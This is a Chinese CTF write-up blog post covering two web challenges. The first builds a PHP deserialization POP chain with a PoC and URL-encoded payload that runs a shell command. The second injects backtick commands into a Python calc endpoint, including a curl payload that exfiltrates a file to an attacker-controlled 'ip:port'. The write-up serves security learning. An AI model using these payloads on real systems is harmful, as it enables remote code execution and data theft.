赞
踩
简单的pop链分析,可以得出如下的一条链
fin:__destruct => what:__toString() => mix:fun => crow:__invoke() => fin:__call =>mix:get_flag
写poc
<?php class crow{ public $v1; public $v2; } class fin{ public $f1; } class what{ public $a; } class mix{ public $ml; } $a = new fin(); $a->f1 = new what(); $a->f1->a = new mix(); $a->f1->a->m1 = new crow(); $a->f1->a->m1->v1 = new fin(); $a->f1->a->m1->v1->f1 = new mix(); $a->f1->a->m1->v1->f1->m1 = ' system(\'cat H0mvz850B.php \');'; echo urlencode(serialize($a));
这里主要是有一个点,和#
的拼接会导致我们的命令被注释
换行
来绕过O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A2%3A%7Bs%3A2%3A%22ml%22%3BN%3Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A2%3A%7Bs%3A2%3A%22ml%22%3BN%3Bs%3A2%3A%22m1%22%3Bs%3A31%3A%22%0D%0Asystem%28%27cat+H0mvz850B.php+%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D
ps:吐槽一下找flag
题目说的是提交 flag{uuid},我真就去找系统的uuid,结果怎么提交都不对,后面在web的目录下的几个文件中找到flag,确实眼瞎了
这个题复现来看,其实很适合去作为入门题,因为分析起来思路很清晰,可以很好地培养分析问题和解决问题的能力,
关键代码
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
有两个可以执行命令的函数,eval
system
因为过滤了(),所以不能用eval来执行函数,想办法利用system函数
system函数的作用是把时间戳输入到tmp/log.txt文件,里面的num参数可控,可以嵌套命令执行,用 ` 来实现
1、绕过eval函数报错,通过# 或者 ‘’’ 注释掉后面的命令绕过
2、判断有没有实现系统命令,通过curl vps判断
3、找flag,并读取flag文件到tmp/log.txt
4、利用curl外带文件,读取tmp/log.txt文件
注意的几个点:
payload
/calc?num=1%23ls%09/`
/calc?num=1%23`curl%09-X%09GET%09-F%09xx=@tmp/log.txt%09http://ip:port/`
赞
踩
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。